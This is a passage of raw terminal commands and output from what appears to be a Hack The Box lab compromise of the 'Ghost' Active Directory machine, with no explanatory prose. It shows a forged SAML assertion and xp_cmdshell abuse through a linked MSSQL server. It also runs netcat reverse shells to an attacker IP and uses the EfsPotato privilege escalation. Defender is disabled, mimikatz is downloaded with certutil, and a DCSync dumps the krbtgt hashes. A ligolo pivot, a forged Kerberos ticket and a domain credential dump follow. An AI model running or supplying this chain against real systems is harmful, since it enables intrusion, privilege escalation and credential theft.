    PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfUk9aMEVGIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wMi0wN1QyMTowNDoxNy4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfNjBWN1M4IiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzYwVjdTOCI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjZRRW5ua2lVN2UvZmNpMTFZUUxkZEovZGpWeFJORGJ0a25sb1BKS05uM289PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlJyemFnSko2Sk1SVnY0aUprYTZoV0RqTW5yQkZ3cmxsSVhIYWNLalBHOXBOa25zRmc3TlVxN2FSNWNhd3cyNnd3NGw2M1ZtOG15NjZoc2NHdzFFcHdmN2JBaVZzalNsQVN2cEptVTNNS1IxVEVNU3ZGY1VtOWF3ejIyN3NWcDNiVzQyb2FOY1R0MDNIZWYwcHhVOVNydVV4OGZGSUYwTU5BNzFUSjA3eUptZkJPK3NHY3ltSnN6S0NIalJnUmMrM08wSVcxZzZ3amY0alhLUWhmdU9Hd3RRc1JYdFdMS3o5ekp5b25ZRGRadjZoazRSb3FWdENOYlBoa0JNWGpnS2w0YmNNaHFDUkQ3eTBUVUlvWmQ3SUJRM1p6OFoySWd2TUJTQXJzQ3pEZTU3VStZT2t5Q2FFQTA0TVVaMXpodVZSRldiVW93Zkt0Q2lZMXo1SXVFOGNYQ1dMckZMWkg4a21QTWttZnA3c01jYlphQzduMGVPVkF3a29wS0c3akJwNkpzMjBTRGpvOHYyUDBTYVY3ZVdicHpBSmlXMzdKMnFydXcySXF1LzRPK0l1SFYzN0dPZlNPYUcrS0VDU3NabzdUUE1kbHd3OTh5aTFmcUF5WlRGczVaY0RJcWl4Kzk3QVdDVk9uTjJSSG1ZZDVrV3gyYVZDbWRkRTVTZzM1VHBrblJmbm9UMzFPSWtHWW9xclRqSWdUZ0RWZ1c2cHNvbUpoRXFib1Nqck5BeWtyQnF4Z2dHYWhJNHBhVHdTd1lrUVpzUEJIZ2F6VkR2dnRET1YxQy9hZmNGY2x1Y2FTTG1iTzluSDZETDVlVmFLSzNiL1hwcVEwM0FuaFd4NWdsS2ErRHdnc2tQMXVlQUgyMWxCa2hGa09lMjNmVStSdFpISzRaZExXWXdQelFZPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1RcYWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNS0wMi0wN1QyMTowOToxNy4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgTm90T25PckFmdGVyPSIyMDI1LTAyLTA3VDIyOjA0OjE3LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkdIT1NUXGFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48L0F0dHJpYnV0ZVN0YXRlbWVudD48QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDI1LTAyLTA3VDIxOjA0OjE2LjUwMFoiIFNlc3Npb25JbmRleD0iXzYwVjdTOCI%2BPEF1dGhuQ29udGV4dD48QXV0aG5Db250ZXh0Q2xhc3NSZWY%2BdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L0F1dGhuQ29udGV4dENsYXNzUmVmPjwvQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D
    ❯ cat /etc/hosts | grep ghost.htb
    10.10.11.24 ghost.htb dc01.ghost.htb intranet.ghost.htb federation.ghost.htb gitea.ghost.htb core.ghost.htb
    SELECT+SRVNAME+FROM+SYSSERVERS
    EXECUTE('EXECUTE+AS+LOGIN+%3d+''sa''%3bSELECT+SYSTEM_USER')+AT+[PRIMARY]
    EXEC('EXEC AS LOGIN = ''sa'';EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "whoami"') AT [PRIMARY]
    ❯ ls -l nc.exe
    .rwxr-xr-x kali kali 28 KB Fri Feb  7 22:36:05 2025  nc.exe
    
    ❯ smbserver.py smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"net+use+x:+\\10.10.16.7\smbFolder+/user:gzzcoo+gzzcoo123"')+AT+[PRIMARY]
    EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"x:\\nc.exe+-e+cmd+10.10.16.7+443"')+AT+[PRIMARY]
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49834
    Microsoft Windows [Version 10.0.20348.2582]
    (c) Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>whoami
    whoami
    nt service\mssqlserver
    PS C:\ProgramData> hostname
    hostname
    PRIMARY
    
    PS C:\ProgramData> ipconfig
    ipconfig
    
    Windows IP Configuration
    
    
    Ethernet adapter Ethernet:
    
       Connection-specific DNS Suffix  . : 
       IPv4 Address. . . . . . . . . . . : 10.0.0.10
       Subnet Mask . . . . . . . . . . . : 255.255.255.0
       Default Gateway . . . . . . . . . : 10.0.0.254
    PS C:\ProgramData> 
    C:\Windows\system32>whoami /priv
    whoami /priv
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                Description                               State   
    ============================= ========================================= ========
    SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
    SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
    SeMachineAccountPrivilege     Add workstations to domain                Disabled
    SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
    SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
    SeCreateGlobalPrivilege       Create global objects                     Enabled 
    SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
    PS C:\ProgramData> dir C:\Windows\Microsoft.Net\Framework\
    dir C:\Windows\Microsoft.Net\Framework\
    
    
        Directory: C:\Windows\Microsoft.Net\Framework
    
    
    Mode                 LastWriteTime         Length Name                                                                 
    ----                 -------------         ------ ----                                                                 
    d-----          5/8/2021   1:27 AM                v1.0.3705                                                            
    d-----          5/8/2021   1:27 AM                v1.1.4322                                                            
    d-----          5/8/2021   1:15 AM                v2.0.50727                                                           
    d-----          2/7/2025   9:56 AM                v4.0.30319 
    ❯ ls -l EfsPotato.cs
    .rw-rw-r-- kali kali 25 KB Fri Feb  7 22:50:45 2025 󰌛 EfsPotato.cs
    PS C:\ProgramData> copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
    copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
    PS C:\ProgramData> ls
    ls
    
    
        Directory: C:\ProgramData
    
    
    Mode                 LastWriteTime         Length Name                                                                 
    ----                 -------------         ------ ----                                                                 
    d---s-          5/8/2021   1:27 AM                Microsoft                                                            
    d-----          2/2/2024   8:36 PM                Package Cache                                                        
    d-----          5/8/2021   1:15 AM                regid.1991-06.com.microsoft                                          
    d-----          5/8/2021   1:15 AM                SoftwareDistribution                                                 
    d-----          5/8/2021   2:33 AM                ssh                                                                  
    d-----         1/31/2024   6:28 PM                USOPrivate                                                           
    d-----          5/8/2021   1:15 AM                USOShared                                                            
    -a----          2/7/2025   1:50 PM          25441 EfsPotato.cs  
    PS C:\ProgramData> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
    C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
    Microsoft (R) Visual C# Compiler version 4.8.4161.0
    for C# 5
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
    
    PS C:\ProgramData> ls
    ls
    
    
        Directory: C:\ProgramData
    
    
    Mode                 LastWriteTime         Length Name                                                                 
    ----                 -------------         ------ ----                                                                 
    d---s-          5/8/2021   1:27 AM                Microsoft                                                            
    d-----          2/2/2024   8:36 PM                Package Cache                                                        
    d-----          5/8/2021   1:15 AM                regid.1991-06.com.microsoft                                          
    d-----          5/8/2021   1:15 AM                SoftwareDistribution                                                 
    d-----          5/8/2021   2:33 AM                ssh                                                                  
    d-----         1/31/2024   6:28 PM                USOPrivate                                                           
    d-----          5/8/2021   1:15 AM                USOShared                                                            
    -a----          2/7/2025   1:50 PM          25441 EfsPotato.cs                                                         
    -a----          2/7/2025   1:53 PM          17920 EfsPotato.exe 
    PS C:\ProgramData> copy x:\nc.exe C:\ProgramData\nc.exe
    copy x:\nc.exe C:\ProgramData\nc.exe
    PS C:\ProgramData> ls
    ls
    
    
        Directory: C:\ProgramData
    
    
    Mode                 LastWriteTime         Length Name                                                                 
    ----                 -------------         ------ ----                                                                 
    d---s-          5/8/2021   1:27 AM                Microsoft                                                            
    d-----          2/2/2024   8:36 PM                Package Cache                                                        
    d-----          5/8/2021   1:15 AM                regid.1991-06.com.microsoft                                          
    d-----          5/8/2021   1:15 AM                SoftwareDistribution                                                 
    d-----          5/8/2021   2:33 AM                ssh                                                                  
    d-----         1/31/2024   6:28 PM                USOPrivate                                                           
    d-----          5/8/2021   1:15 AM                USOShared                                                            
    -a----          2/7/2025   1:50 PM          25441 EfsPotato.cs                                                         
    -a----          2/7/2025   1:53 PM          17920 EfsPotato.exe                                                        
    -a----          2/7/2025   1:36 PM          28160 nc.exe  
    ❯ rlwrap -cAr nc -nlvp 444
    listening on [any] 444 ...
    PS C:\ProgramData> .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
    .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
    Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
    Part of GMH's fuck Tools, Code By zcgonvh.
    CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
    
    [+] Current user: NT Service\MSSQLSERVER
    [+] Pipe: \pipe\lsarpc
    [!] binding ok (handle=19a98a00)
    [+] Get Token: 908
    [!] process with pid: 272 created.
    ==============================
    ❯ rlwrap -cAr nc -nlvp 444
    listening on [any] 444 ...
    connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49800
    Microsoft Windows [Version 10.0.20348.2582]
    (c) Microsoft Corporation. All rights reserved.
    
    C:\ProgramData>whoami
    whoami
    nt authority\system
    PS C:\ProgramData> Set-MpPreference -DisableRealtimeMonitoring $True
    ❯ ls -l mk.exe
    .rw-r--r-- kali kali 1.2 MB Fri Feb  7 22:57:17 2025  mk.exe
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
    certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
    ****  Online  ****
      000000  ...
      131308
    CertUtil: -URLCache command completed successfully.
    PS C:\ProgramData> .\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb" exit
    .\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb"
    
      .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
     ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
     '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
      '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
    
    mimikatz(commandline) # lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb
    [DC] 'corp.ghost.htb' will be the domain
    [DC] 'PRIMARY.corp.ghost.htb' will be the DC server
    [DC] 'CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' will be the user account
    
    Object RDN           : krbtgt
    
    ** SAM ACCOUNT **
    
    SAM Username         : krbtgt
    Account Type         : 30000000 ( USER_OBJECT )_hmac dfel usuari
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration   : 
    Password last change : 1/31/2024 6:34:01 PM
    Object Security ID   : S-1-5-21-2034262909-2733679486-179904498-502
    Object Relative ID   : 502
    
    Credentials:
      Hash NTLM: 69eb46aa347a8c68edb99be2725403ab
        ntlm- 0: 69eb46aa347a8c68edb99be2725403ab
        lm  - 0: fceff261045c75c4d7f6895de975f6cb
    
    Supplemental Credentials:
    * Primary:NTLM-Strong-NTOWF *
        Random Value : 4acd753922f1e79069fd95d67874be4c
    
    * Primary:Kerberos-Newer-Keys *
        Default Salt : CORP.GHOST.HTBkrbtgt
        Default Iterations : 4096
        Credentials
          aes256_hmac       (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
          aes128_hmac       (4096) : ea18711cfd69feef0c8efba75bca9235
          des_cbc_md5       (4096) : b3e070025110ce1f
    
    * Primary:Kerberos *
        Default Salt : CORP.GHOST.HTBkrbtgt
        Credentials
          des_cbc_md5       : b3e070025110ce1f
    
    * Packages *
        NTLM-Strong-NTOWF
    
    * Primary:WDigest *
        01  673e591f1e8395d5bf9069b7ddd084d6
        02  1344e8aade9169b015f2ca4ddf8a04bd
        03  021a6b424b5372ef3511673b04647862
        04  673e591f1e8395d5bf9069b7ddd084d6
        05  1344e8aade9169b015f2ca4ddf8a04bd
        06  122def4643832d604a97c9c02e29cb38
        07  673e591f1e8395d5bf9069b7ddd084d6
        08  2526b041b761a9ae973e69ee23d8ab97
        09  2526b041b761a9ae973e69ee23d8ab97
        10  43c410fd94dc2ca31c3d12cd76ea5e5c
        11  b51d328dbb94b922331d54ffd54134d5
        12  2526b041b761a9ae973e69ee23d8ab97
        13  99c658551700bb8b4dbe0503acade3cb
        14  b51d328dbb94b922331d54ffd54134d5
        15  8a1e17a5a2aa32b2120a39ba99881020
        16  8a1e17a5a2aa32b2120a39ba99881020
        17  9ebecd6b439ee2e7847819e54be70d8f
        18  ff83c6eb25c8da26d5332aeeaeae4cb8
        19  2ee6795b19f71e9c5aa2ab2f902a0c55
        20  3722d9593e0e483720a657bcb56526b2
        21  7bdac8f5dfed431bc7232ff1ca6ebb4d
        22  7bdac8f5dfed431bc7232ff1ca6ebb4d
        23  42b46cd4462f0d4c4ae5da7757a2ff90
        24  7648ab0ac431ceada83b321ca468fccf
        25  7648ab0ac431ceada83b321ca468fccf
        26  7af11e3e17a21afd61955ed5a5f52405
        27  9dfbb554b398bdf2e8c51e1b20208c08
        28  49a35ae4b703b7c47b44708fa235c581
        29  8a24eb5a1a3155556064b79149b00211
    ❯ /opt/ligolo/proxy -selfcert
    WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
    WARN[0000] Using self-signed certificates               
    ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate 
    WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB 
    INFO[0000] Listening on 0.0.0.0:11601                   
        __    _             __                       
       / /   (_)___ _____  / /___        ____  ____ _
      / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
     / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
    /_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
            /____/                          /____/   
    
      Made in France ♥            by @Nicocha30!
      Version: 0.7.5
    
    ligolo-ng »  
    ❯ sudo ip tuntap add user kali mode tun ligolo
    ❯ sudo ip link set ligolo up
    ❯ sudo ip route add 10.0.0.0/24 dev ligolo
    ❯ sudo ntpdate -s ghost.htb
    ❯ ls
     agent.exe   proxy
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
    certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
    ****  Online  ****
      000000  ...
      5f2c00
    CertUtil: -URLCache command completed successfully.
    PS C:\ProgramData> .\agent.exe -connect 10.10.16.7:11601 -ignore-cert
    .\agent.exe -connect 10.10.16.7:11601 -ignore-cert
    time="2025-02-07T14:07:26-08:00" level=warning msg="warning, certificate validation disabled"
    time="2025-02-07T14:07:26-08:00" level=info msg="Connection established" addr="10.10.16.7:11601"
    /opt/ligolo/proxy -selfcert
    WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
    WARN[0000] Using self-signed certificates               
    WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB 
    INFO[0000] Listening on 0.0.0.0:11601                   
        __    _             __                       
       / /   (_)___ _____  / /___        ____  ____ _
      / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
     / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
    /_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
            /____/                          /____/   
    
      Made in France ♥            by @Nicocha30!
      Version: 0.7.5
    
    ligolo-ng » INFO[0067] Agent joined.                                 id=31530714-8a8b-4acd-8cfd-765668586137 name="NT AUTHORITY\\SYSTEM@PRIMARY" remote="10.10.11.24:49803"
    ligolo-ng » 
    ligolo-ng » session
    ? Specify a session : 1 - NT AUTHORITY\SYSTEM@PRIMARY - 10.10.11.24:49803 - 31530714-8a8b-4acd-8cfd-765668586137
    [Agent : NT AUTHORITY\SYSTEM@PRIMARY] » start
    [Agent : NT AUTHORITY\SYSTEM@PRIMARY] » INFO[0074] Starting tunnel to NT AUTHORITY\SYSTEM@PRIMARY (31530714-8a8b-4acd-8cfd-765668586137) 
    ❯ cat /etc/hosts | grep corp.ghost.htb
    10.0.0.10 corp.ghost.htb
    ❯ impacket-ticketer -aesKey b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -domain corp.ghost.htb Administrator 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Creating basic skeleton ticket and PAC Infos
    [*] Customizing ticket for corp.ghost.htb/Administrator
    [*] 	PAC_LOGON_INFO
    [*] 	PAC_CLIENT_INFO_TYPE
    [*] 	EncTicketPart
    [*] 	EncAsRepPart
    [*] Signing/Encrypting final ticket
    [*] 	PAC_SERVER_CHECKSUM
    [*] 	PAC_PRIVSVR_CHECKSUM
    [*] 	EncTicketPart
    [*] 	EncASRepPart
    [*] Saving ticket in Administrator.ccache
    ❯ export KRB5CCNAME=Administrator.ccache
    
    ❯ klist -i
    Ticket cache: FILE:Administrator.ccache
    Default principal: Administrator@CORP.GHOST.HTB
    
    Valid starting     Expires            Service principal
    08/02/25 04:14:33  06/02/35 04:14:33  krbtgt/CORP.GHOST.HTB@CORP.GHOST.HTB
    	renew until 06/02/35 04:14:33
    ❯ secretsdump.py dc01.ghost.htb -k -no-pass -just-dc-ntlm
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
